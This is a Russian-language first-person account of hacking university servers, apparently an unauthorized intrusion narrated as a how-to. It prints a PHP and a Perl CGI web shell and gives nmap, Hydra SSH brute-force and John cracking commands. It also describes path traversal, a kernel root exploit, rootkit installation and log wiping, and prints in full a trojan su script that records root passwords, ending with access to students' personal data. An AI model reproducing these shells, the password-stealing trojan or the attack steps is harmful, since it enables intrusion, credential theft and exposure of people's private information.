Не смотря на первую страницу ответа от Google на запрос, сразу был сделан переход на 6, 7…10 и т.д. страницу. Перебрав пару сайтов, была найдена вот такая ссылка:

www.saber.engineer.gvsu.edu/cgi-bin/file/index.cgi.

Судя по url’у предстояло взламывать какой-то университет, это было очень даже хорошо, так как в большинстве университетов нет грамотных Администраторов, которые следили бы за сервером, да и скрипты пишутся не профессиональными программистами, а простыми учениками.

Следующий этап заключался в сборе данных о сервере университета.

Не получив от DomainsDB ожидаемых результатов, был сделан переход на www.nic.ru/whois/, где был введен ip-адрес взламываемого сервера. Из полученных данных было понятно, что предстоит взламывать сервер США, а именно университета Grand Valley State University.

Перейдя по ссылке, браузер отобразил форму с вводом логина и пароля. Была мысль о Sql-injection. Но для проверки было подставлено пару test:test. И что? Был получен доступ на страницу управления файлами. Увидев, что на сервер можно загружать файлы, было быстро накидано php-shell:

System($_GET[‘cmd’]);
?>

Файл успешно был загружен на сервер, но никак не хотел выполнять команды. При обращении к файлу предлагалось просто его загрузить (скачать). Но это нисколько не расстраивало, потому что еще не было опробовано заливать cgi-shell:

#!/usr/bin/perl

print "Content-type: text/html\n\n";

$cmd=$ENV{QUERY_STRING};
$cmd=~ s/%20/ /g;
$cmd=`$cmd`;
print "

$cmd
";

Загрузка выполнилась также успешно, но выполняться скрипт не хотел, проблема была та же, что и с php-shell. Запустив nmap: nmap –sS –sV –O –v saber.engineer.gvsu.edu, браузер снова вернулся на страницу управления файлами, и тут внимательно еще раз ознакомившись, стало заметно, что можно просматривать содержимое разных каталогов. Но для выбора было доступно лишь два: default, trash.

Эти значения передавались переменной directory. Было предположено, что переменная не фильтруется. Сохранив данную страничку на компьютер, она была пропатчена.

Теперь вместо выбора директории была форма ввода этой самой директории. Открыв ее в браузере, была введенна директория: ../../../../../../../../../../../etc/, и нажата клавиша Enter, после чего стал, виден список файлов в директории /etc/. Итак, смотреть содержимое каталогов было уже позволенно, но этим много не сделаешь. Тогда было решено попробовать читать файлы, но ничего разумного из этого не получилось.

Не зацикливаясь на странице управления файлами, был сделан переход на главную страницу сайта.

Быстро просмотрев ее, были обнаружены две полезные для ссылки:

1) SSH Access (saber.engineer.gvsu.edu/user/ssh/)

2) User Homepages (saber.engineer.gvsu.edu/user/)

По первой из них было понятно, что в системе есть пользователи с валиднами шеллами, а, перейдя по второй ссылке, был замечен список пользователей, имеющих доступ к командному интерпретатору американского университета. Для извлечения пользователей из html страницы был написан простенький perl-скрипт:

#!/usr/bin/perl
open (FILE,$ARGV[0]);
open (OUT,">users");
while ()
{
if ($_=~m/saber.engineer.gvsu.edu\/user\//)
{
($a,$b)=split('user\/',$_);
($a,$b)=split('\"',$b);
print OUT "$a\n";
}
}
close (FILE);
close(OUT);

К тому времени запущеный nmap, еще при проверки «Файл-центра» закончил свое сканирование. Посмотрев на результат его работы, было обнаружено самое главное:

21/tcp open ftp?
22/tcp open ssh OpenSSH 2.9 FreeBSD localisations 20011202 (protocol 1.99)
23/tcp open telnet BSD-derived telnetd

Сервисы ftp и ssh не фиьтровались. Так же на сервере крутился бажный telnetd. Найдя для него сплойт, скомпилировав и запустив его, было получено приглашение ввести команду, но через 2-3 секунды соединение прервалось, запустив сплойт еще пару раз было решено идти дальше.

Так как имелся список пользователей, была запущена Гидра (с маленьким словарем часто использующихся слов-паролей) с такими параметрами:

hydra -L users -P words.txt –f -o saber.engineer.gvsu.edu.txt 148.61.104.224 ssh2

Через две минуты был найден рабочий аккаунт в системе. При входе в систему (юзеру под которым я зашел) свалилось письмо, набрав команду mail, а потом, выбрав первое письмо, оно было прочитано. Как выяснилось, в письме содержался пароль от «Файл-центра». Писем больше не было, поэтому и был сделан переход к изучению содержимого магнитных носителей.

Первым действием стало определение версии Операционной Системы: uname –a команда показала, что на сервере установлена FreeBSD v4.5. Под нее было пару рабочих эксплойтов, но ни один не хотел компилироваться. После неудачи в получении рутовых прав (права Root пользователя) легким способом было решено бродить по каталогам пользователей, где, и были найдены еще три аккаунта с зашифрованными паролями.

Расшифровав пароли «Джонником», но они не подходили ни к Ftp ни к Ssh. Вернувшись на сайт, было вспомнято, что все обращения с керверу записываются в файл access.log (по умолчанию).

Набрав команду locate access.log. Были полученны три варианта расположения файла, третий из которых: /var/log/saber.engineer.gvsu.edu_access.log, был верный.

Скопировав файл на Shell, и выполнив команду cat saber.engineer.gvsu.edu_log | grep pass > access, которая выбирала из лог-файла все строчки, где содержалась слово pass и записывала их в файл Access.

Изучив его, был найден скрипт админки: saber.engineer.gvsu.edu/users.pl , и восемь рабочих аккаунтов от него. Решив посмотреть, что представляет из себя админка, был найден также скрипт смены пароля, который в теории мог менять пароль рута (Root), но использовать его не хотелось. Точнее, было решено оставить этот скрипт на крайний случай.

Предположив, что админ может работать по совместительству рутом, была начата подстановка паролей тех восьми пользователей, которых нашли в лог-файле. Но ничего из этого не получилось.

В папке /usr/local/www/file были найдены хоумпаги юзеров. Но права на всех папках были 600, владельцем был nobody. Был закрыт доступ во все папки.

Для того, чтобы просмотреть эти папки пришлось заливать cgi-shell в папку: /home/staff/spectro/public_html, и запускать его так:

www.saber.engineer.gvsu.edu/user/spectro/cmd.cgi?id

Так как Apache был запущен из-под Nobody, то после выполнения команды id ,стало понятно, что был сделан вход непривилегированным пользователем.

Просмотрев два каталога, был замечено, что в каждом каталоге имеется файл .pass, следовательно, он должен был быть и в каждой другой папке. Прочитав несколько таких файлов, стало понятно, что в них записан пароль от все того же файл центра. Но большинство пользователей имеют либо недостаток памяти, либо врожденную лень, что приводит к использованию одного пароля ко всем ресурсам.

Был выбран путь - усердно проверять пароли к командной строке, и в результате чего добавить в файл с логинами и паролями еще восемь ленивых пользователей. После всего проделанного больше ничего не оставалось, как просто-напросто читать почту пользователей к чьим аккаунтам имелся доступ. У каждого из них было чуть меньше трехсот писем.

Сохранив все письма в текстовом файле, начался поиск срели них слова «Pass». Результатом чего стала находка еще одного аккаунта, причем не на saber.engineer.gvsu.edu, а на engineer.gvsu.edu.

Войдя под этим логином, было узнана Операционная Система на сервере - пингвин с уязвимым ядром v2.4.20, которое было пропатчено с помощью эксплойта с уязвимостью do_brk.

Получив рутшелл (Root Shell), был установлен Rootkit, с помощью которого были почистены логи, содрав /etc/shadow было решено уходить. Для начала было также решено провести перебор (подстановку) по словарю, но таким способом было получено только два пароля от каких-то левых пользователей. Но, все-таки решив идти дальше, был запущен «Джонна» вот с такой командой: john -stdout -incremental | john -stdin shadow.

Было решено пойти отдохнуть (поспать), тем самым, надеясь получить пароль Root’a. Зачем была начата расшифровка пароля? С одной стороны действительно, зачем расшифрововать пароль, когда Root Shell уже имеется. Просто решили считать Root’a ленивым пользователем, что означало возможность иметь один пароль ко всем или к некоторым машинам учебного заведения.

Отдохнув (проснувшись утром) вопреки всем ожиданиям пароль рута не был найден, зато были определены пароли около двадцати пользователей. Зайдя в систему через Rootkit, было решено посмотреть, кто заходил на сервер еще (Last).

Выяснилось, что помимо всех нам уже известных пользователей на сервер заходило еще два пользователя: Smith05 и Iir04, но пользователь с ником Ir04 заходил в начале лета, поэтому было решено просмотреть по диагонали файл истории Smith05. Стало понятно, что это, скорее всего Администратор, так как пользователь активно юзает абсолютные права, с помощью Su.

Через час была написана программка на Perl'е эмитирующая вызов команды su. Да-да, именно команды Su. Так как эта команда очень часто применяется, то, следовательно, есть шанс быстро получить пароль Root пользователя. Вот исходник этого скрипта-программки:

#!/usr/bin/perl
use Term::ReadKey;
$user = $ARGV[0] || root;
$chislo = test($user);
if ($chislo == "1"){
system("/dev/usb/su");
}
else{
print "Password:";
ReadMode 'noecho';
$password = ReadLine 0;
print "\nsu: Sorry\n";
chomp $password;
ReadMode 'normal';
open(USE,">>/tmp/info");
print USE "$user:$password\n";
close(USE);
}
sub test() {
$user = shift;
open(USE,"
while(){
if ($_ =~ m/$user/){
return "1";
close(USE);
}
else{}
}
}

Что же написано в этом скрипте на Perl. С помощью модуля Term::ReadKey был сделан ввод пароля. Напоминание: - с помощью модуля можно вводить символы, не выводя их при этом на экран. Идем дальше.

Дальше все проще, и действует по такому принципу: переменной $user присваивается значении Root, если не указан первый параметр, после этого в переменную chislo записывается результат выполнения подпрограммы test.

Эта подпрограмма проверяет, имеется ли пароль к этому пользователю, если да (имеется), тогда сценарий запускает настоящую утилиту Su, если же такого пользователя нет, то скрипт предоставляет возможность ввести пароль, после чего сохраняет его в файле /tmp/info, а затем выводит сообщение о неверном набранном пароле.

При повторном запуске скрипт уже находит в файле этого пользователя и соответственно запускает настоящую команду su. Но тут имеется нюанс.

А что если пользователь действительно введет неверный пароль?

Тогда придется еще несколько раз заюзать скрипт, очистив при этом файл /tmp/info. Переместив настоящую утилиту su в /dev/usb/su, скрипт был скопирован в /bin/.

Теперь при вызове команды su будет запускаться скрипт. Оставив все это в покое, снова было принято решение начать изучать содержимое пользовательских папок, у юзера Topcraft была найдена папка .ssh, где описывались доверенные хосты, которых было два:

clyamore.engineer.gvsu.edu и sky.engineer.gvsu.edu, к сожалению, к первому серверу не подошел ни один аккаунт, но зато ко второй машине все-таки один, но подошел.

Быстро просмотрев .bash_history пользователя, под которым был сделан вход, стала заметна такая вещь: команда su вводилась по три раза подряд практически постоянно, тем самы интуиция подсказывала, что скоро будет найден имено здесь пароль Root пользователя. Как оказалось, интуиция не подвела, и уже через пару минут был найден рабочий пароль Root пользователя.

Подняв свои права до Root пользователя (с помощью команды su), просмотрев, кто находится в консоли, были замечены три Админа с правами Root. Поспешив выйти с сервера, внимание было остановлено на дате входа пользователей, она равнялась 26 августа, хотя на дворе было 31.

Поняв, что консоль открыта всегда, в систему был установлен RootKit. Войдя под логином через только что установленый RootKit, были почистены логи с помощью Vanish2. После чего начлся процесс изучения сервера.

Посмотрев список активных процессов, был увиден запущенный mysql, и в файле SkyDatabase.pl также обнаружен пароль Root пользователя к базе, чем незамедлительно он был использован. В базе находились Имена, Фамилии, E-mail, пароли зарубежных студентов.

Тем временем, зайдя на сайт с подмененной утилитой su, просмотрев /tmp/info, как и предпологалось, там снова был найден пароль Root пользователя. Он подошел на машину Claymore, это было большим везением, что в Sshd_config: PermitRootLogin равнялось Yes.

Установив и на эту машину RootKit, было принято окончательное решение наконец-то остановиться и успокоится.

Всего бы этого взлома не произошло, если бы не простые и одинаковые пароли, халатность Администраторов сервера и небольшое везение...